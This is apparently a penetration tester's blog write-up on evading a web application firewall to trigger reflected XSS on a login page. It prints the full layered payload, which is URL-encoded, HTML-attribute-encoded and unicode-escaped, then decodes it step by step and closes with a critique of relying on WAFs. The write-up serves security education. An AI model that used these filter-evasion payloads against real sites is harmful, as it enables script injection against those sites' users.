While testing a Java-based web application, I came across a straightforward reflected cross-site scripting (XSS) vulnerability on the application’s login page, but the web application utilized a popular web application firewall (WAF), so it initially appeared that only HTML injection was feasible until I could identify a rule bypass.

By combining the following basic techniques together I was able to bypass the WAF’s XSS rules.

  • Custom HTML tag.
  • HTML attribute encoding.
  • JavaScript unicode escape sequence.
  • String concatenation.
  • Variable assignment and array accesses.

Let us start by looking at the final payload and work backwards to breakdown the techniques.

https://example.org/login?userId=%3Cabc%20onclick%3D%22%26%23x64%3B%26%23x3d%3B%26%23x27%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x32%3B%26%23x36%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x36%3B%26%23x63%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x37%3B%26%23x30%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x36%3B%26%23x31%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x37%3B%26%23x32%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x33%3B%26%23x62%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x33%3B%26%23x32%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x33%3B%26%23x33%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x32%3B%26%23x36%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x37%3B%26%23x32%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x37%3B%26%23x30%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x36%3B%26%23x31%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x37%3B%26%23x32%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x33%3B%26%23x62%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x32%3B%26%23x37%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x33%3B%26%23x65%3B%26%23x27%3B%26%23x3b%3B%26%23x63%3B%26%23x3d%3B%26%23x27%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x37%3B%26%23x32%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x37%3B%26%23x34%3B%26%23x27%3B%26%23x3b%3B%26%23x62%3B%26%23x3d%3B%26%23x27%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x37%3B%26%23x32%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x36%3B%26%23x66%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x37%3B%26%23x32%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x33%3B%26%23x64%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x32%3B%26%23x37%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x36%3B%26%23x31%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x36%3B%26%23x63%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x36%3B%26%23x35%3B%26%23x27%3B%26%23x3b%3B%26%23x61%3B%26%23x3d%3B%26%23x27%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x33%3B%26%23x63%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x36%3B%26%23x39%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x36%3B%26%23x64%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x36%3B%26%23x37%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x32%3B%26%23x30%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x37%3B%26%23x33%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x37%3B%26%23x32%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x36%3B%26%23x33%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x33%3B%26%23x64%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x32%3B%26%23x37%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x33%3B%26%23x39%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x33%3B%26%23x33%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x32%3B%26%23x37%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x32%3B%26%23x30%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x36%3B%26%23x66%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x36%3B%26%23x65%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x36%3B%26%23x35%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x37%3B%26%23x32%3B%26%23x27%3B%26%23x3b%3B%26%23x20%3B%26%23x78%3B%26%23x3d%3B%26%23x64%3B%26%23x6f%3B%26%23x63%3B%26%23x75%3B%26%23x6d%3B%26%23x65%3B%26%23x6e%3B%26%23x74%3B%26%23x3b%3B%26%23x79%3B%26%23x3d%3B%26%23x78%3B%26%23x2e%3B%26%23x62%3B%26%23x6f%3B%26%23x64%3B%26%23x79%3B%26%23x3b%3B%26%23x79%3B%26%23x5b%3B%26%23x27%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x36%3B%26%23x39%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x36%3B%26%23x65%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x36%3B%26%23x65%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x36%3B%26%23x35%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x37%3B%26%23x32%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x34%3B%26%23x38%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x35%3B%26%23x34%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x34%3B%26%23x64%3B%26%23x5c%3B%26%23x75%3B%26%23x30%3B%26%23x30%3B%26%23x34%3B%26%23x63%3B%26%23x27%3B%26%23x5d%3B%26%23x3d%3B%26%23x61%3B%26%23x2b%3B%26%23x62%3B%26%23x2b%3B%26%23x63%3B%26%23x2b%3B%26%23x64%3B%26%23x3b%3B%22%20style%3Ddisplay%3Ablock%3Eclick%3C%2Fabc%3E

Next let’s URL decode the payload. We can see that I’m using a non-existent HTML tag (abc) and I have defined JavaScript code in the onclick attribute that is HTML attribute encoded.

<abc 
onclick="&#x64;&#x3d;&#x27;&#x5c;&#x75;&#x30;&#x30;&#x32;&#x36;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x63;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x30;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x31;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x32;&#x5c;&#x75;&#x30;&#x30;&#x33;&#x62;&#x5c;&#x75;&#x30;&#x30;&#x33;&#x32;&#x5c;&#x75;&#x30;&#x30;&#x33;&#x33;&#x5c;&#x75;&#x30;&#x30;&#x32;&#x36;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x32;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x30;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x31;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x32;&#x5c;&#x75;&#x30;&#x30;&#x33;&#x62;&#x5c;&#x75;&#x30;&#x30;&#x32;&#x37;&#x5c;&#x75;&#x30;&#x30;&#x33;&#x65;&#x27;&#x3b;&#x63;&#x3d;&#x27;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x32;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x34;&#x27;&#x3b;&#x62;&#x3d;&#x27;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x32;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x66;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x32;&#x5c;&#x75;&#x30;&#x30;&#x33;&#x64;&#x5c;&#x75;&#x30;&#x30;&#x32;&#x37;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x31;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x63;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x35;&#x27;&#x3b;&#x61;&#x3d;&#x27;&#x5c;&#x75;&#x30;&#x30;&#x33;&#x63;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x39;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x64;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x37;&#x5c;&#x75;&#x30;&#x30;&#x32;&#x30;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x33;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x32;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x33;&#x5c;&#x75;&#x30;&#x30;&#x33;&#x64;&#x5c;&#x75;&#x30;&#x30;&#x32;&#x37;&#x5c;&#x75;&#x30;&#x30;&#x33;&#x39;&#x5c;&#x75;&#x30;&#x30;&#x33;&#x33;&#x5c;&#x75;&#x30;&#x30;&#x32;&#x37;&#x5c;&#x75;&#x30;&#x30;&#x32;&#x30;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x66;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x65;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x35;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x32;&#x27;&#x3b;&#x20;&#x78;&#x3d;&#x64;&#x6f;&#x63;&#x75;&#x6d;&#x65;&#x6e;&#x74;&#x3b;&#x79;&#x3d;&#x78;&#x2e;&#x62;&#x6f;&#x64;&#x79;&#x3b;&#x79;&#x5b;&#x27;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x39;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x65;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x65;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x35;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x32;&#x5c;&#x75;&#x30;&#x30;&#x34;&#x38;&#x5c;&#x75;&#x30;&#x30;&#x35;&#x34;&#x5c;&#x75;&#x30;&#x30;&#x34;&#x64;&#x5c;&#x75;&#x30;&#x30;&#x34;&#x63;&#x27;&#x5d;&#x3d;&#x61;&#x2b;&#x62;&#x2b;&#x63;&#x2b;&#x64;&#x3b;" 
style=display:block>click</abc>

Next let’s HTML decode the onclick attribute value. This initially looks like an ugly blob of JavaScript code.

d='\u0026\u006c\u0070\u0061\u0072\u003b\u0032\u0033\u0026\u0072\u0070\u0061\u0072\u003b\u0027\u003e';
c='\u0072\u0074';
b='\u0072\u006f\u0072\u003d\u0027\u0061\u006c\u0065';
a='\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0027\u0039\u0033\u0027\u0020\u006f\u006e\u0065\u0072'; 
x=document;y=x.body;
y['\u0069\u006e\u006e\u0065\u0072\u0048\u0054\u004d\u004c']=a+b+c+d;

So let’s unicode decode all the strings, rearrange the variables, and clean up the code a little bit. The code simply concatenates a few strings together and then writes the HTML code to the DOM via the document.body.innerHTML property, which will trigger JavaScript code to execute.

a = "<img src='93' oner";
b = "ror='ale";
c = "rt";
d = "&lpar;23&rpar;'>";
x = document;
y = x.body;
y['innerHTML'] = a+b+c+d;

The basic strategy that I used was to nest different XSS filter evasion techniques until I found a payload that would work, since the internals of the WAF was a blackbox to me. Check out PortSwigger’s or OWASP’s cheatsheet if you need additional ideas.

  • Custom HTML tag - Avoid using common HTML tags such as IMG or SCRIPT in the top-layer of the payload. Maybe the WAF only blocks events associated with known HTML tags.
  • HTML attribute encoding - Maybe the WAF does not handle HTML attribute encoding properly (unlikely).
  • JavaScript unicode escape sequence - Maybe the WAF does not handle unicode escape sequences properly (unlikely) or values encoded with multiple different encoding schemes (somewhat likely).
  • String concatenation - Avoid suspicious strings appearing in the payload such as alert or onerror.
  • Variable assignment and array accesses - Avoid suspicious JavaScript properties such as document.body.innerHTML from directly appearing in the payload.

None of these techniques are new or advanced and it shouldn’t be surprising that a modern WAF can be bypassed. I didn’t even need to perform character fuzzing this time.

Would I recommend deploying a WAF to prevent against common web application vulnerabilities? Probably not. Deploying a WAF in production is unlikely to hurt, and provides some value as a logging tool to detect attacker behavior, or protect a legacy application, but there are certainly downsides.

  • Deployment of a WAF may impede in your security team discovering vulnerabilities via dynamic analysis. If possible, allow the security team or external security team to interact with an environment that doesn’t utilize the WAF. For example, if an externally-facing web service endpoint is vulnerable to deserialization of untrusted data then the WAF might prevent discovery if only automated dynamic analysis tools are used by the security team, but a real attacker will likely still find and exploit the vulnerability manually given enough time.
  • Given time an attacker can bypass most WAF rules, so WAFs are usually only good at stopping unskilled attackers using canned exploits.
  • More code == more bugs (or more security bugs). Most WAFs are closed-source software components that add complexity to a system and may contain additional vulnerabilities.
  • The existence of a WAF is often used as an excuse to remediating vulnerabilities or an excuse to delay remediation.

Given a tight budget an organization might better utilize their security budget on secure development practices related to vulnerability discovery, remediation, and prevention.